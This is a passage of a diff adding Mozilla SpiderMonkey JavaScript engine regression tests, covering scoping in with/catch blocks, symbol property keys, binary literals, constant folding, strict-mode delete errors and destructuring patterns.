+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 23346;
+var CALL_CALLED = "PASSED";
+
+test();
+
+function f(x)
+{
+ if (x)
+ return call();
+
+ return "FAILED!";
+}
+
+function call()
+{
+ return CALL_CALLED;
+}
+
+function test()
+{
+ printStatus ("ECMA Section: 10.1.3: Variable Instantiation.");
+ printBugNumber (BUGNUMBER);
+
+ reportCompare ("PASSED", f(true),
+ "Unqualified reference should not see Function.prototype");
+}
diff --git a/js/src/tests/non262/execution-contexts/regress-448595-01.js b/js/src/tests/non262/execution-contexts/regress-448595-01.js
new file mode 100644
index 0000000000..4c9932a304
--- /dev/null
+++ b/js/src/tests/non262/execution-contexts/regress-448595-01.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 448595;
+var summary = 'scope chain var declaration with initialiser in |with| clauses';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+
+ expect = 'bar';
+
+ f = function(){
+ var e = "bar";
+ with({e:"foo"}) {
+ var e = "wibble";
+ };
+
+ actual = e;
+ }
+
+ f();
+
+ reportCompare(expect, actual, summary + ': with');
+
+ f = function(){
+ var e = "bar";
+ try
+ {
+ throw {e:"foo"};
+ }
+ catch(e) {
+ var e = "wibble";
+ };
+
+ actual = e;
+ }
+
+ f();
+
+ reportCompare(expect, actual, summary + ': catch');
+}
diff --git a/js/src/tests/non262/execution-contexts/shell.js b/js/src/tests/non262/execution-contexts/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/execution-contexts/shell.js
diff --git a/js/src/tests/non262/expressions/11.1.5-01.js b/js/src/tests/non262/expressions/11.1.5-01.js
new file mode 100644
index 0000000000..7db12aada3
--- /dev/null
+++ b/js/src/tests/non262/expressions/11.1.5-01.js
@@ -0,0 +1,37 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 520696;
+var summary =
+ 'Implement support for string literals as names for properties defined ' +
+ 'using ES5 get/set syntax';
+
+print(BUGNUMBER + ": " + summary);
+
+
+var o;
+
+o = { get "a b c"() { return 17; } };
+assertEq("get" in Object.getOwnPropertyDescriptor(o, "a b c"), true);
+
+o = eval('({ get "a b c"() { return 17; } })');
+assertEq("get" in Object.getOwnPropertyDescriptor(o, "a b c"), true);
+
+var f = eval("(function literalInside() { return { set 'c d e'(q) { } }; })");
+f = function literalInside() { return { set 'c d e'(q) { } }; };
+
+function checkO()
+{
+ assertEq(3.141592654 in o, true, "fractional-named property isn't in object");
+ assertEq(10000 in o, true, "exponential-named property is in object");
+ assertEq(0xdeadbeef in o, true, "hex-named property is in object");
+ assertEq("Infinity" in o, true, "numeric index stringified correctly");
+}
+
+o = eval('({ 3.141592654: "pi", 1e4: 17, 0xdeadbeef: "hex", 1e3000: "Infinity" })');
+checkO();
+o = { 3.141592654: "pi", 1e4: 17, 0xdeadbeef: "hex", 1e3000: "Infinity" };
+checkO();
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/ToPropertyKey-symbols.js b/js/src/tests/non262/expressions/ToPropertyKey-symbols.js
new file mode 100644
index 0000000000..32b3994b3c
--- /dev/null
+++ b/js/src/tests/non262/expressions/ToPropertyKey-symbols.js
@@ -0,0 +1,90 @@
+var symbols = [
+ Symbol(), Symbol("iterator"), Symbol.for("iterator"), Symbol.iterator
+];
+
+for (var sym of symbols) {
+ var key = {
+ toString() { return sym; }
+ };
+
+ // Test that ToPropertyKey can return a symbol in each of the following
+ // contexts.
+
+ // Computed property names.
+ var obj = {[key]: 13};
+ var found = Reflect.ownKeys(obj);
+ assertEq(found.length, 1);
+ assertEq(found[0], sym);
+
+ // Computed accessor property names.
+ var obj2 = {
+ get [key]() { return "got"; },
+ set [key](v) { this.v = v; }
+ };
+ assertEq(obj2[sym], "got");
+ obj2[sym] = 33;
+ assertEq(obj2.v, 33);
+
+ // Getting and setting properties.
+ assertEq(obj[key], 13);
+ obj[key] = 19;
+ assertEq(obj[sym], 19);
+ (function () { "use strict"; obj[key] = 20; })();
+ assertEq(obj[sym], 20);
+ obj[key]++;
+ assertEq(obj[sym], 21);
+
+ // Getting properties of primitive values.
+ Number.prototype[sym] = "success";
+ assertEq(Math.PI[key], "success");
+ delete Number.prototype[sym];
+
+ // Getting a super property.
+ class X {
+ [sym]() { return "X"; }
+ }
+ class Y extends X {
+ [sym]() { return super[key]() + "Y"; }
+ }
+ var y = new Y();
+ assertEq(y[sym](), "XY");
+
+ // Setting a super property.
+ class Z {
+ set [sym](v) {
+ this.self = this;
+ this.value = v;
+ }
+ }
+ class W extends Z {
+ set [sym](v) {
+ this.isW = true;
+ super[key] = v;
+ }
+ }
+ var w = new W();
+ w[key] = "ok";
+ assertEq(w.self, w);
+ assertEq(w.value, "ok");
+ assertEq(w.isW, true);
+
+ // Deleting properties.
+ obj = {[sym]: 1};
+ assertEq(delete obj[key], true);
+ assertEq(sym in obj, false);
+
+ // LHS of `in` expressions.
+ assertEq(key in {iterator: 0}, false);
+ assertEq(key in {[sym]: 0}, true);
+
+ // Methods of Object and Object.prototype
+ obj = {};
+ Object.defineProperty(obj, key, {value: "ok", enumerable: true});
+ assertEq(obj[sym], "ok");
+ assertEq(obj.hasOwnProperty(key), true);
+ assertEq(obj.propertyIsEnumerable(key), true);
+ var desc = Object.getOwnPropertyDescriptor(obj, key);
+ assertEq(desc.value, "ok");
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/expressions/binary-literals.js b/js/src/tests/non262/expressions/binary-literals.js
new file mode 100644
index 0000000000..df1f2ed6f3
--- /dev/null
+++ b/js/src/tests/non262/expressions/binary-literals.js
@@ -0,0 +1,115 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 894026;
+var summary = "Implement ES6 binary literals";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var chars = ['b', 'B'];
+
+for (var i = 0; i < 2; i++)
+{
+ if (i === 2)
+ {
+ chars.forEach(function(v)
+ {
+ try
+ {
+ eval('0' + v + i);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + i + ", " +
+ "got " + e);
+ }
+ });
+ continue;
+ }
+
+ for (var j = 0; j < 2; j++)
+ {
+ if (j === 2)
+ {
+ chars.forEach(function(v)
+ {
+ try
+ {
+ eval('0' + v + i + j);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + i + j + ", " +
+ "got " + e);
+ }
+ });
+ continue;
+ }
+
+ for (var k = 0; k < 2; k++)
+ {
+ if (k === 2)
+ {
+ chars.forEach(function(v)
+ {
+ try
+ {
+ eval('0' + v + i + j + k);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + i + j + k + ", " +
+ "got " + e);
+ }
+ });
+ continue;
+ }
+
+ chars.forEach(function(v)
+ {
+ assertEq(eval('0' + v + i + j + k), i * 4 + j * 2 + k);
+ });
+ }
+ }
+}
+
+chars.forEach(function(v)
+{
+ try
+ {
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + ", got " + e);
+ }
+});
+
+// Off-by-one check: '/' immediately precedes '0'.
+assertEq(0b110/1, 6);
+assertEq(0B10110/1, 22);
+
+function strict()
+{
+ "use strict";
+ return 0b11010101;
+}
+assertEq(strict(), 128 + 64 + 16 + 4 + 1);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/browser.js b/js/src/tests/non262/expressions/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/expressions/browser.js
diff --git a/js/src/tests/non262/expressions/computed-property-side-effects.js b/js/src/tests/non262/expressions/computed-property-side-effects.js
new file mode 100644
index 0000000000..54dec7416b
--- /dev/null
+++ b/js/src/tests/non262/expressions/computed-property-side-effects.js
@@ -0,0 +1,35 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1199695;
+var summary =
+ "Computed property names must be considered as always effectful even when " +
+ "the name expression isn't effectful, because calling ToPropertyKey on " +
+ "some non-effectful expressions has user-modifiable behavior";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+RegExp.prototype.toString = () => { throw 42; };
+assertThrowsValue(function() {
+ ({ [/regex/]: 0 }); // ToPropertyKey(/regex/) throws 42
+}, 42);
+
+function Q() {
+ ({ [new.target]: 0 }); // new.target will be Q, ToPropertyKey(Q) throws 17
+}
+Q.toString = () => { throw 17; };
+assertThrowsValue(function() {
+ new Q;
+}, 17);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/constant-folded-labeled-statement.js b/js/src/tests/non262/expressions/constant-folded-labeled-statement.js
new file mode 100644
index 0000000000..245693b50d
--- /dev/null
+++ b/js/src/tests/non262/expressions/constant-folded-labeled-statement.js
@@ -0,0 +1,14 @@
+var BUGNUMBER = 1499448;
+var summary = "Constant folder should fold labeled statements";
+
+print(BUGNUMBER + ": " + summary);
+
+if (typeof disassemble === "function") {
+ var code = disassemble(() => { x: 2+2; });
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, /Int8 4/.test(code));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/delete-constant-folded-and-or.js b/js/src/tests/non262/expressions/delete-constant-folded-and-or.js
new file mode 100644
index 0000000000..9576413a68
--- /dev/null
+++ b/js/src/tests/non262/expressions/delete-constant-folded-and-or.js
@@ -0,0 +1,41 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1183400;
+var summary =
+ "Deletion of a && or || expression that constant-folds to a name must not " +
+ "attempt to delete the name";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+Object.defineProperty(this, "nonconfigurable", { value: 42 });
+assertEq(nonconfigurable, 42);
+
+assertEq(delete nonconfigurable, false);
+assertEq(delete (true && nonconfigurable), true);
+
+function nested()
+{
+ assertEq(delete nonconfigurable, false);
+ assertEq(delete (true && nonconfigurable), true);
+}
+nested();
+
+function nestedStrict()
+{
+ "use strict";
+ assertEq(delete (true && nonconfigurable), true);
+}
+nestedStrict();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/delete-name-parenthesized-early-error-strict-mode.js b/js/src/tests/non262/expressions/delete-name-parenthesized-early-error-strict-mode.js
new file mode 100644
index 0000000000..d28afb665c
--- /dev/null
+++ b/js/src/tests/non262/expressions/delete-name-parenthesized-early-error-strict-mode.js
@@ -0,0 +1,76 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1111101;
+var summary =
+ "delete (foo), delete ((foo)), and so on are strict mode early errors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function checkSyntaxError(code)
+{
+ function helper(maker)
+ {
+ var earlyError = false;
+ try
+ {
+ var f = maker(code);
+
+ var error = "no early error, created a function with code <" + code + ">";
+ try
+ {
+ f();
+ error += ", and the function can be called without error";
+ }
+ catch (e)
+ {
+ error +=", and calling the function throws " + e;
+ }
+
+ throw new Error(error);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "expected syntax error, got " + e);
+ }
+ }
+
+ helper(Function);
+ helper(eval);
+}
+
+checkSyntaxError("function f() { 'use strict'; delete escape; } f();");
+checkSyntaxError("function f() { 'use strict'; delete escape; }");
+checkSyntaxError("function f() { 'use strict'; delete (escape); } f();");
+checkSyntaxError("function f() { 'use strict'; delete (escape); }");
+checkSyntaxError("function f() { 'use strict'; delete ((escape)); } f();");
+checkSyntaxError("function f() { 'use strict'; delete ((escape)); }");
+
+// Meanwhile, non-strict all of these should work
+
+function checkFine(code)
+{
+ Function(code);
+ (1, eval)(code); // indirect, to be consistent w/above
+}
+
+checkFine("function f() { delete escape; } f();");
+checkFine("function f() { delete escape; }");
+checkFine("function f() { delete (escape); } f();");
+checkFine("function f() { delete (escape); }");
+checkFine("function f() { delete ((escape)); } f();");
+checkFine("function f() { delete ((escape)); }");
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/destructuring-array-default-call.js b/js/src/tests/non262/expressions/destructuring-array-default-call.js
new file mode 100644
index 0000000000..a3a3622054
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-array-default-call.js
@@ -0,0 +1,10 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with various default values in various context - call/new expression";
+
+print(BUGNUMBER + ": " + summary);
+
+testDestructuringArrayDefault("func()");
+testDestructuringArrayDefault("new func()");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/destructuring-array-default-class.js b/js/src/tests/non262/expressions/destructuring-array-default-class.js
new file mode 100644
index 0000000000..8083089286
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-array-default-class.js
@@ -0,0 +1,72 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with various default values in various context - class expression and super/new.target";
+
+print(BUGNUMBER + ": " + summary);
+
+testDestructuringArrayDefault(`class E {
+ constructor() {}
+ method() {}
+ get v() {}
+ set v(_) {}
+ static method() {}
+ static get v() {}
+ static set v(_) {}
+}`);
+
+testDestructuringArrayDefault(`class E extends C {
+ constructor() {}
+ method() {}
+ get v() {}
+ set v(_) {}
+ static method() {}
+ static get v() {}
+ static set v(_) {}
+}`);
+
+var opt = {
+ no_plain: true,
+ no_func: true,
+ no_func_arg: true,
+ no_gen: true,
+ no_gen_arg: true,
+ no_ctor: true,
+ no_method: true,
+ no_pre_super: true,
+ no_comp: true,
+
+ no_derived_ctor: false,
+};
+testDestructuringArrayDefault("super()", opt);
+
+opt = {
+ no_plain: true,
+ no_func: true,
+ no_func_arg: true,
+ no_gen: true,
+ no_gen_arg: true,
+ no_ctor: true,
+ no_comp: true,
+
+ no_derived_ctor: false,
+ no_method: false,
+ no_pre_super: false,
+};
+testDestructuringArrayDefault("super.foo()", opt);
+
+opt = {
+ no_plain: true,
+
+ no_func: false,
+ no_func_arg: false,
+ no_gen: false,
+ no_gen_arg: false,
+ no_ctor: false,
+ no_derived_ctor: false,
+ no_method: false,
+ no_pre_super: false,
+ no_comp: false,
+};
+testDestructuringArrayDefault("new.target", opt);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/destructuring-array-default-function-nested.js b/js/src/tests/non262/expressions/destructuring-array-default-function-nested.js
new file mode 100644
index 0000000000..99260b9895
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-array-default-function-nested.js
@@ -0,0 +1,11 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with various default values in various context - function expression with nested objects";
+
+print(BUGNUMBER + ": " + summary);
+
+testDestructuringArrayDefault("function f() { return { f() {}, *g() {}, r: /a/ }; }");
+testDestructuringArrayDefault("function* g() { return { f() {}, *g() {}, r: /b/ }; }");
+testDestructuringArrayDefault("() => { return { f() {}, *g() {}, r: /c/ }; }");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/destructuring-array-default-function.js b/js/src/tests/non262/expressions/destructuring-array-default-function.js
new file mode 100644
index 0000000000..5d2ffef188
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-array-default-function.js
@@ -0,0 +1,11 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with various default values in various context - function expression";
+
+print(BUGNUMBER + ": " + summary);
+
+testDestructuringArrayDefault("function f() {}");
+testDestructuringArrayDefault("function* g() {}");
+testDestructuringArrayDefault("() => {}");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/destructuring-array-default-simple.js b/js/src/tests/non262/expressions/destructuring-array-default-simple.js
new file mode 100644
index 0000000000..50c6c37f3d
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-array-default-simple.js
@@ -0,0 +1,16 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with various default values in various context - simple literal";
+
+print(BUGNUMBER + ": " + summary);
+
+testDestructuringArrayDefault("'foo'");
+testDestructuringArrayDefault("`foo`");
+testDestructuringArrayDefault("func`foo`");
+
+testDestructuringArrayDefault("/foo/");
+
+testDestructuringArrayDefault("{}");
+testDestructuringArrayDefault("[]");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/destructuring-array-default-yield.js b/js/src/tests/non262/expressions/destructuring-array-default-yield.js
new file mode 100644
index 0000000000..57ff9e9472
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-array-default-yield.js
@@ -0,0 +1,22 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with various default values in various context - yield expression";
+
+print(BUGNUMBER + ": " + summary);
+
+var opt = {
+ no_plain: true,
+ no_func: true,
+ no_func_arg: true,
+ no_gen_arg: true,
+ no_ctor: true,
+ no_derived_ctor: true,
+ no_method: true,
+ no_pre_super: true,
+ no_comp: true,
+
+ no_gen: false,
+};
+testDestructuringArrayDefault("yield 1", opt);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/destructuring-array-done.js b/js/src/tests/non262/expressions/destructuring-array-done.js
new file mode 100644
index 0000000000..f2c7e9410e
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-array-done.js
@@ -0,0 +1,319 @@
+var BUGNUMBER = 1184922;
+var summary = "iterator.next() should not be called when after iterator completes";
+
+print(BUGNUMBER + ": " + summary);
+
+var log;
+function reset() {
+ log = "";
+}
+var obj = new Proxy({}, {
+ set(that, name, value) {
+ var v;
+ if (value instanceof Function || value instanceof RegExp)
+ v = value.toString();
+ else
+ v = JSON.stringify(value);
+ log += "set:" + name + "=" + v + ",";
+ }
+});
+function createIterable(n) {
+ return {
+ i: 0,
+ [Symbol.iterator]() {
+ return this;
+ },
+ next() {
+ log += "next,";
+ this.i++;
+ if (this.i <= n)
+ return {value: this.i, done: false};
+ return {value: 0, done: true};
+ }
+ };
+}
+
+// Simple pattern.
+
+reset();
+[obj.a, obj.b, obj.c] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:a=undefined," +
+ "set:b=undefined," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, obj.b, obj.c] = createIterable(1);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=undefined," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, obj.b, obj.c] = createIterable(2);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, obj.b, obj.c] = createIterable(3);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "set:c=3,");
+
+// Elision.
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:a=undefined," +
+ "set:b=undefined," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(1);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=undefined," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(2);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:b=undefined," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(3);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:b=3," +
+ "next," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(4);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:b=3," +
+ "next," +
+ "next," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(5);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:b=3," +
+ "next," +
+ "next," +
+ "next," +
+ "set:c=undefined,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(6);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:b=3," +
+ "next," +
+ "next," +
+ "next," +
+ "set:c=6," +
+ "next,");
+
+reset();
+[obj.a, , obj.b, , , obj.c, ,] = createIterable(7);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:b=3," +
+ "next," +
+ "next," +
+ "next," +
+ "set:c=6," +
+ "next,");
+
+// Rest.
+
+reset();
+[...obj.r] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:r=[],");
+
+reset();
+[...obj.r] = createIterable(1);
+assertEq(log,
+ "next," +
+ "next," +
+ "set:r=[1],");
+
+reset();
+[obj.a, ...obj.r] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:a=undefined," +
+ "set:r=[],");
+
+reset();
+[obj.a, ...obj.r] = createIterable(1);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:r=[],");
+
+reset();
+[obj.a, ...obj.r] = createIterable(2);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "next," +
+ "set:r=[2],");
+
+reset();
+[obj.a, obj.b, ...obj.r] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:a=undefined," +
+ "set:b=undefined," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, ...obj.r] = createIterable(1);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=undefined," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, ...obj.r] = createIterable(2);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, ...obj.r] = createIterable(3);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "next," +
+ "set:r=[3],");
+
+// Rest and elision.
+
+reset();
+[, ...obj.r] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:r=[],");
+
+reset();
+[, ...obj.r] = createIterable(1);
+assertEq(log,
+ "next," +
+ "next," +
+ "set:r=[],");
+
+reset();
+[, ...obj.r] = createIterable(2);
+assertEq(log,
+ "next," +
+ "next," +
+ "next," +
+ "set:r=[2],");
+
+reset();
+[obj.a, obj.b, , ...obj.r] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:a=undefined," +
+ "set:b=undefined," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, , ...obj.r] = createIterable(1);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=undefined," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, , ...obj.r] = createIterable(2);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, , ...obj.r] = createIterable(3);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "next," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, , ...obj.r] = createIterable(4);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "next," +
+ "next," +
+ "set:r=[4],");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/destructuring-array-lexical.js b/js/src/tests/non262/expressions/destructuring-array-lexical.js
new file mode 100644
index 0000000000..133858a09d
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-array-lexical.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with accessing uninitialized lexical binding.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(() => { let y = [y] = []; },
+ ReferenceError);
+assertThrowsInstanceOf(() => { let y = [y] = [,]; },
+ ReferenceError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/destructuring-pattern-parenthesized.js b/js/src/tests/non262/expressions/destructuring-pattern-parenthesized.js
new file mode 100644
index 0000000000..529fb5f71e
--- /dev/null
+++ b/js/src/tests/non262/expressions/destructuring-pattern-parenthesized.js
@@ -0,0 +1,137 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1146136;
+var summary =
+ 'Parenthesized "destructuring patterns" are not usable as destructuring ' +
+ 'patterns';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Don't pollute the top-level script with eval references.
+var savedEval = this[String.fromCharCode(101, 118, 97, 108)];
+
+function checkError(code, nonstrictErr, strictErr)
+{
+ function helper(exec, prefix, err)
+ {
+ var fullCode = prefix + code;
+ try
+ {
+ var f = exec(fullCode);
+
+ var error =
+ "no early error, parsed code <" + fullCode + "> using " + exec.name;
+ if (typeof f === "function")
+ {
+ try
+ {
+ f();
+ error += ", and the function can be called without error";
+ }
+ catch (e)
+ {
+ error +=", and calling the function throws " + e;
+ }
+ }
+
+ throw new Error(error);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof err, true,
+ "expected " + err.name + ", got " + e + " " +
+ "for code <" + fullCode + "> when parsed using " + exec.name);
+ }
+ }
+
+ helper(Function, "", nonstrictErr);
+ helper(Function, "'use strict'; ", strictErr);
+ helper(savedEval, "", nonstrictErr);
+ helper(savedEval, "'use strict'; ", strictErr);
+}
+
+// Parenthesized destructuring patterns don't trigger grammar refinement, so we
+// get the usual SyntaxError for an invalid assignment target, per
+// 12.14.1 second bullet.
+checkError("var a, b; ([a, b]) = [1, 2];", SyntaxError, SyntaxError);
+checkError("var a, b; ({a, b}) = { a: 1, b: 2 };", SyntaxError, SyntaxError);
+
+// *Nested* parenthesized destructuring patterns, on the other hand, do trigger
+// grammar refinement. But subtargets in a destructuring pattern must be
+// either object/array literals that match the destructuring pattern refinement
+// *or* valid simple assignment targets (or such things with a default, with the
+// entire subtarget unparenthesized: |a = 3| is fine, |(a) = 3| is fine for
+// destructuring in an expression, |(a = 3)| is forbidden). Parenthesized
+// object/array patterns are neither. And so 12.14.5.1 third bullet requires an
+// early SyntaxError.
+checkError("var a, b; ({ a: ({ b: b }) } = { a: { b: 42 } });", SyntaxError, SyntaxError);
+checkError("var a, b; ({ a: { b: (b = 7) } } = { a: {} });", SyntaxError, SyntaxError);
+checkError("var a, b; ({ a: ([b]) } = { a: [42] });", SyntaxError, SyntaxError);
+checkError("var a, b; [(a = 5)] = [1];", SyntaxError, SyntaxError);
+checkError("var a, b; ({ a: (b = 7)} = { b: 1 });", SyntaxError, SyntaxError);
+
+Function("var a, b; [(a), b] = [1, 2];")();
+Function("var a, b; [(a) = 5, b] = [1, 2];")();
+Function("var a, b; [(arguments), b] = [1, 2];")();
+Function("var a, b; [(arguments) = 5, b] = [1, 2];")();
+Function("var a, b; [(eval), b] = [1, 2];")();
+Function("var a, b; [(eval) = 5, b] = [1, 2];")();
+
+var repair = {}, demolition = {};
+
+Function("var a, b; [(repair.man), b] = [1, 2];")();
+Function("var a, b; [(demolition['man']) = 'motel', b] = [1, 2];")();
+Function("var a, b; [(demolition['man' + {}]) = 'motel', b] = [1, 2];")(); // evade constant-folding
+
+function classesEnabled()
+{
+ try
+ {
+ new Function("class B { constructor() { } }; class D extends B { constructor() { super(); } }");
+ return true;
+ }
+ catch (e) {
+ if (!(e instanceof SyntaxError))
+ throw e;
+ return false;
+ }
+}
+
+if (classesEnabled())
+{
+ Function("var a, b; var obj = { x() { [(super.man), b] = [1, 2]; } };")();
+ Function("var a, b; var obj = { x() { [(super[8]) = 'motel', b] = [1, 2]; } };")();
+ Function("var a, b; var obj = { x() { [(super[8 + {}]) = 'motel', b] = [1, 2]; } };")(); // evade constant-folding
+}
+
+// As noted above, when the assignment element has an initializer, the
+// assignment element must not be parenthesized.
